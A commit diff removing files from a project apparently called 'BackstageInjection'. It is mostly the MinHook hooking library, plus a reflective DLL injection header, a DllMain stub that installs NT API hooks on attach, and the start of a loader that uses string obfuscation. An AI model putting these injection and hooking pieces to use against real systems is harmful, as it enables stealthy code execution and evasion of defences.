status = MH_ERROR_NOT_CREATED;
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget)
{
return EnableHook(pTarget, TRUE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget)
{
return EnableHook(pTarget, FALSE);
}
//-------------------------------------------------------------------------
static MH_STATUS QueueHook(LPVOID pTarget, BOOL queueEnable)
{
MH_STATUS status = MH_OK;
EnterSpinLock();
if (g_hHeap != NULL)
{
if (pTarget == MH_ALL_HOOKS)
{
UINT i;
for (i = 0; i < g_hooks.size; ++i)
g_hooks.pItems[i].queueEnable = queueEnable;
}
else
{
UINT pos = FindHookEntry(pTarget);
if (pos != INVALID_HOOK_POS)
{
g_hooks.pItems[pos].queueEnable = queueEnable;
}
else
{
status = MH_ERROR_NOT_CREATED;
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget)
{
return QueueHook(pTarget, TRUE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget)
{
return QueueHook(pTarget, FALSE);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_ApplyQueued(VOID)
{
MH_STATUS status = MH_OK;
UINT i, first = INVALID_HOOK_POS;
EnterSpinLock();
if (g_hHeap != NULL)
{
for (i = 0; i < g_hooks.size; ++i)
{
if (g_hooks.pItems[i].isEnabled != g_hooks.pItems[i].queueEnable)
{
first = i;
break;
}
}
if (first != INVALID_HOOK_POS)
{
FROZEN_THREADS threads;
status = Freeze(&threads, ALL_HOOKS_POS, ACTION_APPLY_QUEUED);
if (status == MH_OK)
{
for (i = first; i < g_hooks.size; ++i)
{
PHOOK_ENTRY pHook = &g_hooks.pItems[i];
if (pHook->isEnabled != pHook->queueEnable)
{
status = EnableHookLL(i, pHook->queueEnable);
if (status != MH_OK)
break;
}
}
Unfreeze(&threads);
}
}
}
else
{
status = MH_ERROR_NOT_INITIALIZED;
}
LeaveSpinLock();
return status;
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour,
LPVOID *ppOriginal, LPVOID *ppTarget)
{
HMODULE hModule;
LPVOID pTarget;
hModule = GetModuleHandleW(pszModule);
if (hModule == NULL)
return MH_ERROR_MODULE_NOT_FOUND;
pTarget = (LPVOID)GetProcAddress(hModule, pszProcName);
if (pTarget == NULL)
return MH_ERROR_FUNCTION_NOT_FOUND;
if (ppTarget != NULL)
*ppTarget = pTarget;
return MH_CreateHook(pTarget, pDetour, ppOriginal);
}
//-------------------------------------------------------------------------
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal)
{
return MH_CreateHookApiEx(pszModule, pszProcName, pDetour, ppOriginal, NULL);
}
//-------------------------------------------------------------------------
const char *WINAPI MH_StatusToString(MH_STATUS status)
{
#define MH_ST2STR(x) \
case x: \
return #x;
switch (status) {
MH_ST2STR(MH_UNKNOWN)
MH_ST2STR(MH_OK)
MH_ST2STR(MH_ERROR_ALREADY_INITIALIZED)
MH_ST2STR(MH_ERROR_NOT_INITIALIZED)
MH_ST2STR(MH_ERROR_ALREADY_CREATED)
MH_ST2STR(MH_ERROR_NOT_CREATED)
MH_ST2STR(MH_ERROR_ENABLED)
MH_ST2STR(MH_ERROR_DISABLED)
MH_ST2STR(MH_ERROR_NOT_EXECUTABLE)
MH_ST2STR(MH_ERROR_UNSUPPORTED_FUNCTION)
MH_ST2STR(MH_ERROR_MEMORY_ALLOC)
MH_ST2STR(MH_ERROR_MEMORY_PROTECT)
MH_ST2STR(MH_ERROR_MODULE_NOT_FOUND)
MH_ST2STR(MH_ERROR_FUNCTION_NOT_FOUND)
}
#undef MH_ST2STR
return "(unknown)";
}
BackstageInjection/Minhook/src/trampoline.c
-320
View File
@@ -1,320 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#if defined(_MSC_VER) && !defined(MINHOOK_DISABLE_INTRINSICS)
#define ALLOW_INTRINSICS
#include <intrin.h>
#endif
#ifndef ARRAYSIZE
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
#endif
#if defined(_M_X64) || defined(__x86_64__)
#include "./hde/hde64.h"
typedef hde64s HDE;
#define HDE_DISASM(code, hs) hde64_disasm(code, hs)
#else
#include "./hde/hde32.h"
typedef hde32s HDE;
#define HDE_DISASM(code, hs) hde32_disasm(code, hs)
#endif
#include "trampoline.h"
#include "buffer.h"
// Maximum size of a trampoline function.
#if defined(_M_X64) || defined(__x86_64__)
#define TRAMPOLINE_MAX_SIZE (MEMORY_SLOT_SIZE - sizeof(JMP_ABS))
#else
#define TRAMPOLINE_MAX_SIZE MEMORY_SLOT_SIZE
#endif
//-------------------------------------------------------------------------
static BOOL IsCodePadding(LPBYTE pInst, UINT size)
{
UINT i;
if (pInst[0] != 0x00 && pInst[0] != 0x90 && pInst[0] != 0xCC)
return FALSE;
for (i = 1; i < size; ++i)
{
if (pInst[i] != pInst[0])
return FALSE;
}
return TRUE;
}
//-------------------------------------------------------------------------
BOOL CreateTrampolineFunction(PTRAMPOLINE ct)
{
#if defined(_M_X64) || defined(__x86_64__)
CALL_ABS call = {
0xFF, 0x15, 0x00000002, // FF15 00000002: CALL [RIP+8]
0xEB, 0x08, // EB 08: JMP +10
0x0000000000000000ULL // Absolute destination address
};
JMP_ABS jmp = {
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
0x0000000000000000ULL // Absolute destination address
};
JCC_ABS jcc = {
0x70, 0x0E, // 7* 0E: J** +16
0xFF, 0x25, 0x00000000, // FF25 00000000: JMP [RIP+6]
0x0000000000000000ULL // Absolute destination address
};
#else
CALL_REL call = {
0xE8, // E8 xxxxxxxx: CALL +5+xxxxxxxx
0x00000000 // Relative destination address
};
JMP_REL jmp = {
0xE9, // E9 xxxxxxxx: JMP +5+xxxxxxxx
0x00000000 // Relative destination address
};
JCC_REL jcc = {
0x0F, 0x80, // 0F8* xxxxxxxx: J** +6+xxxxxxxx
0x00000000 // Relative destination address
};
#endif
UINT8 oldPos = 0;
UINT8 newPos = 0;
ULONG_PTR jmpDest = 0; // Destination address of an internal jump.
BOOL finished = FALSE; // Is the function completed?
#if defined(_M_X64) || defined(__x86_64__)
UINT8 instBuf[16];
#endif
ct->patchAbove = FALSE;
ct->nIP = 0;
do
{
HDE hs;
UINT copySize;
LPVOID pCopySrc;
ULONG_PTR pOldInst = (ULONG_PTR)ct->pTarget + oldPos;
ULONG_PTR pNewInst = (ULONG_PTR)ct->pTrampoline + newPos;
copySize = HDE_DISASM((LPVOID)pOldInst, &hs);
if (hs.flags & F_ERROR)
return FALSE;
pCopySrc = (LPVOID)pOldInst;
if (oldPos >= sizeof(JMP_REL))
{
// The trampoline function is long enough.
// Complete the function with the jump to the target function.
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = pOldInst;
#else
jmp.operand = (INT32)(pOldInst - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
finished = TRUE;
}
#if defined(_M_X64) || defined(__x86_64__)
else if ((hs.modrm & 0xC7) == 0x05)
{
// Instructions using RIP relative addressing. (ModR/M = 00???101B)
// Modify the RIP relative address.
PUINT32 pRelAddr;
// Avoid using memcpy to reduce the footprint.
#ifndef ALLOW_INTRINSICS
memcpy(instBuf, (LPBYTE)pOldInst, copySize);
#else
__movsb(instBuf, (LPBYTE)pOldInst, copySize);
#endif
pCopySrc = instBuf;
// Relative address is stored at (instruction length - immediate value length - 4).
pRelAddr = (PUINT32)(instBuf + hs.len - ((hs.flags & 0x3C) >> 2) - 4);
*pRelAddr
= (UINT32)((pOldInst + hs.len + (INT32)hs.disp.disp32) - (pNewInst + hs.len));
// Complete the function if JMP (FF /4).
if (hs.opcode == 0xFF && hs.modrm_reg == 4)
finished = TRUE;
}
#endif
else if (hs.opcode == 0xE8)
{
// Direct relative CALL
ULONG_PTR dest = pOldInst + hs.len + (INT32)hs.imm.imm32;
#if defined(_M_X64) || defined(__x86_64__)
call.address = dest;
#else
call.operand = (INT32)(dest - (pNewInst + sizeof(call)));
#endif
pCopySrc = &call;
copySize = sizeof(call);
}
else if ((hs.opcode & 0xFD) == 0xE9)
{
// Direct relative JMP (EB or E9)
ULONG_PTR dest = pOldInst + hs.len;
if (hs.opcode == 0xEB) // isShort jmp
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else
{
#if defined(_M_X64) || defined(__x86_64__)
jmp.address = dest;
#else
jmp.operand = (INT32)(dest - (pNewInst + sizeof(jmp)));
#endif
pCopySrc = &jmp;
copySize = sizeof(jmp);
// Exit the function if it is not in the branch.
finished = (pOldInst >= jmpDest);
}
}
else if ((hs.opcode & 0xF0) == 0x70
|| (hs.opcode & 0xFC) == 0xE0
|| (hs.opcode2 & 0xF0) == 0x80)
{
// Direct relative Jcc
ULONG_PTR dest = pOldInst + hs.len;
if ((hs.opcode & 0xF0) == 0x70 // Jcc
|| (hs.opcode & 0xFC) == 0xE0) // LOOPNZ/LOOPZ/LOOP/JECXZ
dest += (INT8)hs.imm.imm8;
else
dest += (INT32)hs.imm.imm32;
// Simply copy an internal jump.
if ((ULONG_PTR)ct->pTarget <= dest
&& dest < ((ULONG_PTR)ct->pTarget + sizeof(JMP_REL)))
{
if (jmpDest < dest)
jmpDest = dest;
}
else if ((hs.opcode & 0xFC) == 0xE0)
{
// LOOPNZ/LOOPZ/LOOP/JCXZ/JECXZ to the outside are not supported.
return FALSE;
}
else
{
UINT8 cond = ((hs.opcode != 0x0F ? hs.opcode : hs.opcode2) & 0x0F);
#if defined(_M_X64) || defined(__x86_64__)
// Invert the condition in x64 mode to simplify the conditional jump logic.
jcc.opcode = 0x71 ^ cond;
jcc.address = dest;
#else
jcc.opcode1 = 0x80 | cond;
jcc.operand = (INT32)(dest - (pNewInst + sizeof(jcc)));
#endif
pCopySrc = &jcc;
copySize = sizeof(jcc);
}
}
else if ((hs.opcode & 0xFE) == 0xC2)
{
// RET (C2 or C3)
// Complete the function if not in a branch.
finished = (pOldInst >= jmpDest);
}
// Can't alter the instruction length in a branch.
if (pOldInst < jmpDest && copySize != hs.len)
return FALSE;
// Trampoline function is too large.
if ((newPos + copySize) > TRAMPOLINE_MAX_SIZE)
return FALSE;
// Trampoline function has too many instructions.
if (ct->nIP >= ARRAYSIZE(ct->oldIPs))
return FALSE;
ct->oldIPs[ct->nIP] = oldPos;
ct->newIPs[ct->nIP] = newPos;
ct->nIP++;
// Avoid using memcpy to reduce the footprint.
#ifndef ALLOW_INTRINSICS
memcpy((LPBYTE)ct->pTrampoline + newPos, pCopySrc, copySize);
#else
__movsb((LPBYTE)ct->pTrampoline + newPos, (LPBYTE)pCopySrc, copySize);
#endif
newPos += copySize;
oldPos += hs.len;
} while (!finished);
// Is there enough place for a long jump?
if (oldPos < sizeof(JMP_REL)
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL) - oldPos))
{
// Is there enough place for a short jump?
if (oldPos < sizeof(JMP_REL_SHORT)
&& !IsCodePadding((LPBYTE)ct->pTarget + oldPos, sizeof(JMP_REL_SHORT) - oldPos))
{
return FALSE;
}
// Can we place the long jump above the function?
if (!IsExecutableAddress((LPBYTE)ct->pTarget - sizeof(JMP_REL)))
return FALSE;
if (!IsCodePadding((LPBYTE)ct->pTarget - sizeof(JMP_REL), sizeof(JMP_REL)))
return FALSE;
ct->patchAbove = TRUE;
}
#if defined(_M_X64) || defined(__x86_64__)
// Create a relay function.
jmp.address = (ULONG_PTR)ct->pDetour;
ct->pRelay = (LPBYTE)ct->pTrampoline + newPos;
memcpy(ct->pRelay, &jmp, sizeof(jmp));
#endif
return TRUE;
}
BackstageInjection/Minhook/src/trampoline.h
-105
View File
@@ -1,105 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#pragma pack(push, 1)
// Structs for writing x86/x64 instructions.
// 8-bit relative jump.
typedef struct _JMP_REL_SHORT
{
UINT8 opcode; // EB xx: JMP +2+xx
INT8 operand; // Relative destination address
} JMP_REL_SHORT, *PJMP_REL_SHORT;
// 32-bit direct relative jump/call.
typedef struct _JMP_REL
{
UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx
INT32 operand; // Relative destination address
} JMP_REL, *PJMP_REL, CALL_REL;
// 64-bit indirect absolute jump.
typedef struct _JMP_ABS
{
UINT8 opcode0; // FF25 00000000: JMP [+6]
UINT8 opcode1;
UINT32 dummy;
UINT64 address; // Absolute destination address
} JMP_ABS, *PJMP_ABS;
// 64-bit indirect absolute call.
typedef struct _CALL_ABS
{
UINT8 opcode0; // FF15 00000002: CALL [+6]
UINT8 opcode1;
UINT32 dummy0;
UINT8 dummy1; // EB 08: JMP +10
UINT8 dummy2;
UINT64 address; // Absolute destination address
} CALL_ABS;
// 32-bit direct relative conditional jumps.
typedef struct _JCC_REL
{
UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx
UINT8 opcode1;
INT32 operand; // Relative destination address
} JCC_REL;
// 64bit indirect absolute conditional jumps that x64 lacks.
typedef struct _JCC_ABS
{
UINT8 opcode; // 7* 0E: J** +16
UINT8 dummy0;
UINT8 dummy1; // FF25 00000000: JMP [+6]
UINT8 dummy2;
UINT32 dummy3;
UINT64 address; // Absolute destination address
} JCC_ABS;
#pragma pack(pop)
typedef struct _TRAMPOLINE
{
LPVOID pTarget; // [In] Address of the target function.
LPVOID pDetour; // [In] Address of the detour function.
LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function.
#if defined(_M_X64) || defined(__x86_64__)
LPVOID pRelay; // [Out] Address of the relay function.
#endif
BOOL patchAbove; // [Out] Should use the hot patch area?
UINT nIP; // [Out] Number of the instruction boundaries.
UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function.
UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function.
} TRAMPOLINE, *PTRAMPOLINE;
BOOL CreateTrampolineFunction(PTRAMPOLINE ct);
BackstageInjection/src/MinHook.h
-185
View File
@@ -1,185 +0,0 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char* WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
BackstageInjection/src/NtApiHooks.c
-1201
View File
File diff suppressed because it is too large Load Diff
BackstageInjection/src/NtApiHooks.h
-23
View File
@@ -1,23 +0,0 @@
//===============================================================================================//
// NT API Hooking Header
//===============================================================================================//
#ifndef _NTAPIHOOKS_H
#define _NTAPIHOOKS_H
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize all NT API hooks
void InstallNtApiHooks(LPVOID lpParameter);
// Remove all NT API hooks
void RemoveNtApiHooks();
#ifdef __cplusplus
}
#endif
#endif // _NTAPIHOOKS_H
BackstageInjection/src/ReflectiveDLLInjection.h
-51
View File
@@ -1,51 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
BackstageInjection/src/ReflectiveDll.c
-43
View File
@@ -1,43 +0,0 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "NtApiHooks.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
// Store the parameter passed to ReflectiveLoader
extern LPVOID g_lpReflectiveParameter;
//===============================================================================================//
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
DisableThreadLibraryCalls(hinstDLL);
// Install NT API hooks with the parameter passed from the injector
InstallNtApiHooks(g_lpReflectiveParameter);
break;
case DLL_PROCESS_DETACH:
// Remove hooks on detach
RemoveNtApiHooks();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
BackstageInjection/src/ReflectiveLoader.c
-562
View File
@@ -1,562 +0,0 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "obfstr.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
